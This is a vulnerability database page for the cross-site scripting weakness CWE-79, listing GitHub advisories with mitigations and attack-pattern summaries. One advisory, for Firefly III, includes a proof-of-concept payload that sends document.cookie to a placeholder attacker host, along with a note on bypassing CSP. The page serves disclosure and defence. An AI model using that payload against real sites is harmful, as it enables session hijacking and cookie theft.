CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68060 vulnerabilities reference this CWE, most recent first.
GHSA-6JMC-WGH2-9JR6
Vulnerability from github – Published: 2022-05-14 02:20 – Updated: 2025-04-12 13:07An issue was discovered in Open-Xchange OX Guard before 2.4.2-rev5. Script code and references to external websites can be injected to the names of PGP public keys. When requesting that key later on using a specific URL, such script code might get executed. In case of injecting external websites, users might get lured into a phishing scheme. Malicious script code can be executed within a user's context. This can lead to session hijacking or triggering unwanted actions via the web interface (sending mail, deleting data etc.).
{
"affected": [],
"aliases": [
"CVE-2016-6853"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-12-15T06:59:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Open-Xchange OX Guard before 2.4.2-rev5. Script code and references to external websites can be injected to the names of PGP public keys. When requesting that key later on using a specific URL, such script code might get executed. In case of injecting external websites, users might get lured into a phishing scheme. Malicious script code can be executed within a user\u0027s context. This can lead to session hijacking or triggering unwanted actions via the web interface (sending mail, deleting data etc.).",
"id": "GHSA-6jmc-wgh2-9jr6",
"modified": "2025-04-12T13:07:25Z",
"published": "2022-05-14T02:20:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6853"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/40377"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/138701/Open-Xchange-Guard-2.4.2-Cross-Site-Scripting.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/539395/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/92920"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6JMP-F9W7-CCWH
Vulnerability from github – Published: 2022-05-02 03:57 – Updated: 2022-05-02 03:57Multiple cross-site scripting (XSS) vulnerabilities in the Qas (aka Quas) module for XOOPS Celepar allow remote attackers to inject arbitrary web script or HTML via (1) the cod_categoria parameter to categoria.php, (2) the opcao parameter to index.php, and the PATH_INFO to (3) categoria.php and (4) index.php.
{
"affected": [],
"aliases": [
"CVE-2009-4713"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-15T21:30:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in the Qas (aka Quas) module for XOOPS Celepar allow remote attackers to inject arbitrary web script or HTML via (1) the cod_categoria parameter to categoria.php, (2) the opcao parameter to index.php, and the PATH_INFO to (3) categoria.php and (4) index.php.",
"id": "GHSA-6jmp-f9w7-ccwh",
"modified": "2022-05-02T03:57:25Z",
"published": "2022-05-02T03:57:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4713"
},
{
"type": "WEB",
"url": "http://osvdb.org/56596"
},
{
"type": "WEB",
"url": "http://osvdb.org/56597"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35966"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/9261"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/35820"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6JP6-9RF9-GC66
Vulnerability from github – Published: 2022-02-25 22:18 – Updated: 2024-11-19 18:28Impact
Due to improper neutralization, it was possible to perform cross-site scripting via crafted user and language names.
Patches
The issues were fixed in the 4.11 release. The following commits are addressing it:
- f6753a1a1c63fade6ad418fbda827c6750ab0bda
- 9e19a8414337692cc90da2a91c9af5420f2952f1
- 22d577b1f1e88665a88b4569380148030e0f8389
Workarounds
You can look for crafted user and language names to see if you were affected.
References
- https://hackerone.com/reports/1486674
- https://hackerone.com/reports/1486718
- https://hackerone.com/reports/1485226
For more information
If you have any questions or comments about this advisory: * Open a topic in discussions * Email us at care@weblate.org
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Weblate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-24710"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2022-02-25T22:18:50Z",
"nvd_published_at": "2022-02-25T21:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nDue to improper neutralization, it was possible to perform cross-site scripting via crafted user and language names.\n\n### Patches\n\nThe issues were fixed in the 4.11 release. The following commits are addressing it:\n\n* f6753a1a1c63fade6ad418fbda827c6750ab0bda\n* 9e19a8414337692cc90da2a91c9af5420f2952f1\n* 22d577b1f1e88665a88b4569380148030e0f8389\n\n### Workarounds\n\nYou can look for crafted user and language names to see if you were affected.\n\n### References\n* https://hackerone.com/reports/1486674\n* https://hackerone.com/reports/1486718\n* https://hackerone.com/reports/1485226\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a topic in [discussions](https://github.com/WeblateOrg/weblate/discussions)\n* Email us at [care@weblate.org](mailto:care@weblate.org)",
"id": "GHSA-6jp6-9rf9-gc66",
"modified": "2024-11-19T18:28:07Z",
"published": "2022-02-25T22:18:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-6jp6-9rf9-gc66"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24710"
},
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/commit/22d577b1f1e88665a88b4569380148030e0f8389"
},
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/commit/9e19a8414337692cc90da2a91c9af5420f2952f1"
},
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/commit/f6753a1a1c63fade6ad418fbda827c6750ab0bda"
},
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/weblate/PYSEC-2022-35.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Cross-site Scripting in Weblate"
}
GHSA-6JP6-9W8R-589W
Vulnerability from github – Published: 2025-01-06 18:31 – Updated: 2025-01-06 18:31IBM Sterling B2B Integrator Standard Edition 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.2 is vulnerable to stored cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.
{
"affected": [],
"aliases": [
"CVE-2024-31913"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-06T16:15:28Z",
"severity": "MODERATE"
},
"details": "IBM Sterling B2B Integrator Standard Edition 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.2 is vulnerable to stored cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.",
"id": "GHSA-6jp6-9w8r-589w",
"modified": "2025-01-06T18:31:02Z",
"published": "2025-01-06T18:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31913"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7176081"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6JP8-VGW3-8H23
Vulnerability from github – Published: 2025-01-15 18:30 – Updated: 2026-04-01 18:33Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Codexpert, Inc CoDesigner WooCommerce Builder for Elementor allows Stored XSS.This issue affects CoDesigner WooCommerce Builder for Elementor: from n/a through 4.7.17.2.
{
"affected": [],
"aliases": [
"CVE-2025-22788"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-15T16:15:41Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Codexpert, Inc CoDesigner WooCommerce Builder for Elementor allows Stored XSS.This issue affects CoDesigner WooCommerce Builder for Elementor: from n/a through 4.7.17.2.",
"id": "GHSA-6jp8-vgw3-8h23",
"modified": "2026-04-01T18:33:10Z",
"published": "2025-01-15T18:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22788"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/woolementor/vulnerability/wordpress-codesigner-plugin-4-7-17-2-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6JPF-Q9V3-X26H
Vulnerability from github – Published: 2025-05-07 15:31 – Updated: 2026-04-01 18:35Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ajay Contextual Related Posts allows DOM-Based XSS. This issue affects Contextual Related Posts: from n/a through 4.0.2.
{
"affected": [],
"aliases": [
"CVE-2025-47506"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-07T15:16:05Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Ajay Contextual Related Posts allows DOM-Based XSS. This issue affects Contextual Related Posts: from n/a through 4.0.2.",
"id": "GHSA-6jpf-q9v3-x26h",
"modified": "2026-04-01T18:35:02Z",
"published": "2025-05-07T15:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47506"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/contextual-related-posts/vulnerability/wordpress-contextual-related-posts-4-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6JPG-MQW3-PX4P
Vulnerability from github – Published: 2023-03-06 21:30 – Updated: 2023-03-13 15:30PMB v7.4.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the query parameter at /admin/convert/export_z3950_new.php.
{
"affected": [],
"aliases": [
"CVE-2023-24733"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-06T21:15:00Z",
"severity": "MODERATE"
},
"details": "PMB v7.4.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the query parameter at /admin/convert/export_z3950_new.php.",
"id": "GHSA-6jpg-mqw3-px4p",
"modified": "2023-03-13T15:30:17Z",
"published": "2023-03-06T21:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24733"
},
{
"type": "WEB",
"url": "https://github.com/AetherBlack/CVE/tree/main/PMB"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6JQ6-X4CX-QVCM
Vulnerability from github – Published: 2026-06-12 15:04 – Updated: 2026-06-12 15:04Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
Vulnerable code (resources/views/list/ale.twig lines 107, 110):
{{ trans('firefly.ale_action_log_add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy
})|raw }}
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
- Authenticate as any user
POST /api/v1/piggy-bankswith"name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"- Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
- Trigger the rule on any transaction
- Visit
/transactions/show/{id}→ payload fires
Confirmed server response (v6.6.2):
Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"
Impact
- Stored XSS persists in DB — fires for every user who views the transaction
- Cookie theft → session hijacking
- In multi-user setups: one user attacks another user or admin
- Chainable with CSRF-like operations
Fix
PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.
{{ trans('firefly.ale_action_log_add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy|e
})|raw }}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.6.2"
},
"package": {
"ecosystem": "Packagist",
"name": "grumpydictator/firefly-iii"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.6.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T15:04:50Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig\u0027s auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction\u0027s audit log.\n\n## Root Cause\n\nThe `|raw` filter is required on the outer `trans()` call to preserve `\u003cspan\u003e` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter.\n\n**Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):**\n```twig\n{{ trans(\u0027firefly.ale_action_log_add\u0027, {\n amount: formatAmountBySymbol(...),\n name: logEntry.after.piggy\n})|raw }}\n```\n\nNo HTML sanitization at storage time \u2014 `PiggyBankStoreRequest` only validates `min:1|max:255|uniquePiggyBankForUser`.\n\n## Data Flow\n\n```\nPOST /api/v1/piggy-banks {\"name\": \"\u003cimg src=x onerror=...\u003e\"}\n \u2192 Stored verbatim in piggy_banks.name\n \u2192 Transaction rule fires add_to_piggy / remove_from_piggy\n \u2192 UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name\n \u2192 Any user views /transactions/show/{id}\n \u2192 ale.twig outputs unescaped payload \u2192 XSS fires\n```\n\n## CSP Note\n\nThe nonce-based CSP (`script-src \u0027nonce-...\u0027 \u0027strict-dynamic\u0027`) does **not** prevent this attack. Inline event handlers (`onerror`, `onload`) in HTML attributes are governed by `script-src-attr`, which is unrestricted in the current policy. The `\u003cimg onerror=...\u003e` payload bypasses the nonce requirement entirely.\n\n## PoC\n\n1. Authenticate as any user\n2. `POST /api/v1/piggy-banks` with `\"name\": \"\u003cimg src=x onerror=fetch(\u0027https://attacker.com?c=\u0027+document.cookie)\u003e\"`\n3. Create a rule: action = \"Add money to piggy bank [attacker\u0027s piggy bank]\"\n4. Trigger the rule on any transaction\n5. Visit `/transactions/show/{id}` \u2192 payload fires\n\n**Confirmed server response (v6.6.2):**\n```html\nAdded \u003cspan class=\"text-success money-positive\"\u003eEUR 50.00\u003c/span\u003e to piggy bank\n\"\u003cimg src=x onerror=alert(document.cookie)\u003e\"\n```\n\n## Impact\n\n- Stored XSS persists in DB \u2014 fires for every user who views the transaction\n- Cookie theft \u2192 session hijacking\n- In multi-user setups: one user attacks another user or admin\n- Chainable with CSRF-like operations\n\n## Fix\n\nPR #12271 (merged into `develop`): add `|e` to escape only the user-controlled `name` parameter.\n\n```twig\n{{ trans(\u0027firefly.ale_action_log_add\u0027, {\n amount: formatAmountBySymbol(...),\n name: logEntry.after.piggy|e\n})|raw }}\n```",
"id": "GHSA-6jq6-x4cx-qvcm",
"modified": "2026-06-12T15:04:50Z",
"published": "2026-06-12T15:04:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/firefly-iii/firefly-iii/security/advisories/GHSA-6jq6-x4cx-qvcm"
},
{
"type": "WEB",
"url": "https://github.com/firefly-iii/firefly-iii/pull/12271"
},
{
"type": "PACKAGE",
"url": "https://github.com/firefly-iii/firefly-iii"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)"
}
GHSA-6JQG-MMW8-392M
Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2022-05-13 01:04Cross-site scripting (XSS) vulnerability in account/EditAddress.do in Spacewalk and Red Hat Network (RHN) Satellite 5.6 allows remote attackers to inject arbitrary web script or HTML via the type parameter.
{
"affected": [],
"aliases": [
"CVE-2013-1871"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-02-14T15:55:00Z",
"severity": "LOW"
},
"details": "Cross-site scripting (XSS) vulnerability in account/EditAddress.do in Spacewalk and Red Hat Network (RHN) Satellite 5.6 allows remote attackers to inject arbitrary web script or HTML via the type parameter.",
"id": "GHSA-6jqg-mmw8-392m",
"modified": "2022-05-13T01:04:01Z",
"published": "2022-05-13T01:04:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-1871"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=923467"
},
{
"type": "WEB",
"url": "https://git.fedorahosted.org/cgit/spacewalk.git/commit/?id=18c70164285cae0660fa3ac55c6656bb19b3b13f"
},
{
"type": "WEB",
"url": "https://www.suse.com/support/update/announcement/2014/suse-su-20140222-1.html"
},
{
"type": "WEB",
"url": "http://osvdb.org/103211"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2014-0148.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/56952"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6JQQ-XJQQ-G2FG
Vulnerability from github – Published: 2023-07-06 21:14 – Updated: 2024-04-04 05:39Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in PB SEO Friendly Images plugin <= 4.0.5 versions.
{
"affected": [],
"aliases": [
"CVE-2022-47434"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-04T21:15:09Z",
"severity": "MODERATE"
},
"details": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in PB SEO Friendly Images plugin \u003c=\u00a04.0.5 versions.",
"id": "GHSA-6jqq-xjqq-g2fg",
"modified": "2024-04-04T05:39:39Z",
"published": "2023-07-06T21:14:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47434"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/pb-seo-friendly-images/wordpress-pb-seo-friendly-images-plugin-4-0-5-cross-site-scripting-xss?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.